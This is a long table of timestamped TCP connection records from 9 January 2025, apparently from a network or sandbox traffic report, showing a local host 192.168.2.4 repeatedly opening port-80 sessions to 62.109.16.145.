Jan 9, 2025 04:14:22.494230032 CET	50168	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:22.498872042 CET	80	50167	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:22.498935938 CET	50167	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:22.499043941 CET	80	50168	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:22.499099016 CET	50168	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:22.499267101 CET	50168	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:22.504158020 CET	80	50168	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:22.856916904 CET	50168	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:22.861845970 CET	80	50168	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:23.188139915 CET	80	50168	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:23.312239885 CET	50168	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:23.317533016 CET	80	50168	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:23.447424889 CET	50168	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:23.447429895 CET	50169	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:23.452305079 CET	80	50169	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:23.452384949 CET	80	50168	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:23.452399015 CET	50169	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:23.452539921 CET	50169	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:23.452675104 CET	50168	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:23.457277060 CET	80	50169	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:23.810077906 CET	50169	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:23.816262960 CET	80	50169	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:24.129317999 CET	80	50169	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:24.169362068 CET	50169	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:24.278762102 CET	80	50169	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:24.325597048 CET	50169	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:24.403362989 CET	50169	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:24.403574944 CET	50170	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:24.410665035 CET	80	50169	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:24.410677910 CET	80	50170	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:24.410711050 CET	50169	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:24.410763979 CET	50170	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:24.410885096 CET	50170	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:24.416558981 CET	80	50170	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:24.763199091 CET	50170	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:24.769386053 CET	80	50170	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.093071938 CET	80	50170	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.138413906 CET	50170	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.222589970 CET	80	50170	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.263104916 CET	50170	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.280400038 CET	50171	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.280483961 CET	50170	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.285182953 CET	80	50171	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.285262108 CET	50171	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.285423994 CET	50171	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.285430908 CET	80	50170	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.285577059 CET	50170	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.291384935 CET	80	50171	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.340240002 CET	50171	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.340243101 CET	50172	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.345072985 CET	80	50172	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.348330975 CET	50172	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.348563910 CET	50172	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.353351116 CET	80	50172	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.386986017 CET	80	50171	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.702624083 CET	50172	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:25.707492113 CET	80	50172	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.760701895 CET	80	50171	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:25.762496948 CET	50171	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:26.065270901 CET	80	50172	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:26.106863022 CET	50172	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:26.199260950 CET	80	50172	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:26.247483969 CET	50172	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:26.338973999 CET	50172	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:26.339258909 CET	50173	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:26.345284939 CET	80	50172	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:26.345333099 CET	50172	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:26.345580101 CET	80	50173	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:26.345630884 CET	50173	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:26.345738888 CET	50173	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:26.351968050 CET	80	50173	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:26.700681925 CET	50173	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:26.705667973 CET	80	50173	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:27.057827950 CET	80	50173	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:27.110301018 CET	50173	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:27.189799070 CET	80	50173	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:27.190057039 CET	50173	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:27.197582006 CET	80	50173	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:27.197680950 CET	50173	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:27.307112932 CET	50174	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:27.313056946 CET	80	50174	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:27.314693928 CET	50174	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:27.314779043 CET	50174	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:27.319574118 CET	80	50174	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:27.670418978 CET	50174	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:27.675333977 CET	80	50174	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:28.007344007 CET	80	50174	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:28.071041107 CET	50174	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:28.137901068 CET	80	50174	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:28.191929102 CET	50174	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:28.262932062 CET	50174	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:28.263386965 CET	50175	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:28.268331051 CET	80	50175	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:28.268389940 CET	50175	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:28.268446922 CET	80	50174	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:28.268498898 CET	50174	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:28.268498898 CET	50175	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:28.273305893 CET	80	50175	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:28.622597933 CET	50175	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:28.627470970 CET	80	50175	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:28.977333069 CET	80	50175	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:29.030263901 CET	50175	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:29.109424114 CET	80	50175	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:29.154258966 CET	50175	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:29.230289936 CET	50175	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:29.230290890 CET	50176	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:29.235124111 CET	80	50176	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:29.235281944 CET	50176	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:29.235316992 CET	80	50175	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:29.235344887 CET	50176	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:29.235565901 CET	50175	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:29.240119934 CET	80	50176	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:29.594347954 CET	50176	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:29.599229097 CET	80	50176	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:29.961982965 CET	80	50176	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.028903008 CET	50176	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.093445063 CET	80	50176	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.154967070 CET	50176	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.214819908 CET	50176	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.215085983 CET	50177	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.219820976 CET	80	50176	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.219870090 CET	50176	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.219943047 CET	80	50177	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.220004082 CET	50177	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.220127106 CET	50177	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.224898100 CET	80	50177	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.342019081 CET	50177	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.342262030 CET	50178	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.347054005 CET	80	50178	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.347107887 CET	50178	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.347210884 CET	50178	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.352030993 CET	80	50178	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.386950016 CET	80	50177	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.468327045 CET	50179	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.473160982 CET	80	50179	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.473220110 CET	50179	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.473406076 CET	50179	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.478168011 CET	80	50179	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.698676109 CET	80	50177	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.698729038 CET	50177	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.700721979 CET	50178	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.705507994 CET	80	50178	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.705744028 CET	80	50178	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:30.825702906 CET	50179	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:30.830552101 CET	80	50179	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:31.048584938 CET	80	50178	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:31.091253042 CET	50178	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.166376114 CET	80	50179	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:31.179810047 CET	80	50178	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:31.231884956 CET	50178	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.294404030 CET	80	50179	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:31.294549942 CET	50179	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.415251970 CET	50178	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.415600061 CET	50179	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.415604115 CET	50180	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.420224905 CET	80	50178	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:31.420362949 CET	50178	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.420422077 CET	80	50180	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:31.420569897 CET	50180	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.420664072 CET	50180	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.420685053 CET	80	50179	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:31.420794964 CET	50179	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.425498009 CET	80	50180	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:31.782278061 CET	50180	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:31.787931919 CET	80	50180	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:32.109167099 CET	80	50180	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:32.153779984 CET	50180	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:32.238609076 CET	80	50180	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:32.294374943 CET	50180	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:32.356350899 CET	50181	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:32.367433071 CET	80	50181	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:32.367505074 CET	50181	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:32.367619991 CET	50181	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:32.372533083 CET	80	50181	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:32.716317892 CET	50181	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:32.721170902 CET	80	50181	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:33.062805891 CET	80	50181	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:33.106883049 CET	50181	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:33.190542936 CET	80	50181	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:33.305599928 CET	50180	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:33.305654049 CET	50181	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:33.305895090 CET	50182	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:33.310662985 CET	80	50182	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:33.311100006 CET	80	50181	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:33.311177969 CET	50182	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:33.311184883 CET	50181	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:33.311269999 CET	50182	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:33.316056013 CET	80	50182	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:33.669459105 CET	50182	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:33.674362898 CET	80	50182	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:34.026333094 CET	80	50182	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:34.091320992 CET	50182	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:34.153645992 CET	80	50182	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:34.200649977 CET	50182	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:34.277385950 CET	50182	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:34.277674913 CET	50183	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:34.282428026 CET	80	50182	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:34.282476902 CET	50182	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:34.282537937 CET	80	50183	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:34.282594919 CET	50183	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:34.282711983 CET	50183	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:34.287509918 CET	80	50183	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:34.638236046 CET	50183	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:34.643050909 CET	80	50183	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:34.990619898 CET	80	50183	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:35.045627117 CET	50183	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:35.121392012 CET	80	50183	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:35.170496941 CET	50183	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:35.242279053 CET	50183	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:35.243181944 CET	50184	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:35.247304916 CET	80	50183	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:35.247419119 CET	50183	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:35.247998953 CET	80	50184	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:35.248233080 CET	50184	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:35.248425007 CET	50184	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:35.253237009 CET	80	50184	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:35.608863115 CET	50184	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:35.616425991 CET	80	50184	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:35.923885107 CET	80	50184	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.053282976 CET	80	50184	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.053339005 CET	50184	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.183861971 CET	50184	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.184082985 CET	50185	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.185547113 CET	50186	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.188855886 CET	80	50184	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.188899040 CET	50184	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.188977957 CET	80	50185	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.189040899 CET	50185	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.189124107 CET	50185	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.190382957 CET	80	50186	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.190426111 CET	50186	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.190509081 CET	50186	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.193857908 CET	80	50185	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.195267916 CET	80	50186	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.544475079 CET	50185	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.544538975 CET	50186	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.549468040 CET	80	50185	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.549482107 CET	80	50186	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.549586058 CET	80	50186	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.892637014 CET	80	50185	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.896800041 CET	80	50186	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:36.938323975 CET	50185	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:36.954287052 CET	50186	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.025429010 CET	80	50185	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:37.026143074 CET	50186	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.029500008 CET	80	50186	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:37.029890060 CET	50186	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.032526970 CET	80	50186	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:37.034372091 CET	50186	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.075702906 CET	50185	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.150677919 CET	50185	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.151309967 CET	50187	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.156955957 CET	80	50185	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:37.157051086 CET	50185	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.157532930 CET	80	50187	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:37.157674074 CET	50187	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.157844067 CET	50187	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.162648916 CET	80	50187	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:37.516280890 CET	50187	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.521161079 CET	80	50187	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:37.850867987 CET	80	50187	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:37.930316925 CET	50187	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:37.977746010 CET	80	50187	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:38.047605038 CET	50187	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:38.106301069 CET	50187	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:38.106647015 CET	50188	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:38.111983061 CET	80	50188	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:38.112052917 CET	50188	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:38.112135887 CET	80	50187	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:38.112180948 CET	50187	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:38.112281084 CET	50188	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:38.117010117 CET	80	50188	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:38.466553926 CET	50188	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:38.471460104 CET	80	50188	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:38.801141024 CET	80	50188	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:38.841387033 CET	50188	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:38.937062979 CET	80	50188	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:38.981998920 CET	50188	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:39.056278944 CET	50188	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:39.060280085 CET	50189	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:39.061347008 CET	80	50188	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:39.064361095 CET	50188	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:39.065067053 CET	80	50189	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:39.065155983 CET	50189	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:39.065361977 CET	50189	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:39.070210934 CET	80	50189	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:39.419640064 CET	50189	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:39.424489975 CET	80	50189	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:39.757292986 CET	80	50189	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:39.812294006 CET	50189	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:39.887581110 CET	80	50189	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:40.013897896 CET	50189	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.014272928 CET	50190	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.018996000 CET	80	50189	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:40.019043922 CET	50189	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.019119978 CET	80	50190	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:40.019185066 CET	50190	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.019263983 CET	50190	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.024079084 CET	80	50190	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:40.372625113 CET	50190	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.378019094 CET	80	50190	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:40.710561991 CET	80	50190	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:40.810034037 CET	50190	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.839492083 CET	80	50190	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:40.964306116 CET	50191	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.964307070 CET	50190	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.969151974 CET	80	50191	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:40.969432116 CET	80	50190	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:40.972456932 CET	50190	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.972459078 CET	50191	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.972459078 CET	50191	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:40.977466106 CET	80	50191	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:41.328294992 CET	50191	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:41.333265066 CET	80	50191	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:41.690920115 CET	80	50191	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:41.748310089 CET	50191	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:41.823326111 CET	80	50191	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:41.876302004 CET	50191	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:41.997380018 CET	50192	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:41.997876883 CET	50191	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.002490044 CET	80	50192	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.002548933 CET	50192	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.002757072 CET	50192	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.003108025 CET	80	50191	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.003160954 CET	50191	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.007592916 CET	80	50192	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.031721115 CET	50193	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.032864094 CET	50192	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.036545038 CET	80	50193	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.036601067 CET	50193	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.081506014 CET	50193	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.082978964 CET	80	50192	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.086399078 CET	80	50193	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.439155102 CET	50193	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.441979885 CET	50194	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.444025993 CET	80	50193	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.444175005 CET	80	50193	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.446845055 CET	80	50194	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.446912050 CET	50194	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.449831009 CET	50194	80	192.168.2.4	62.109.16.145
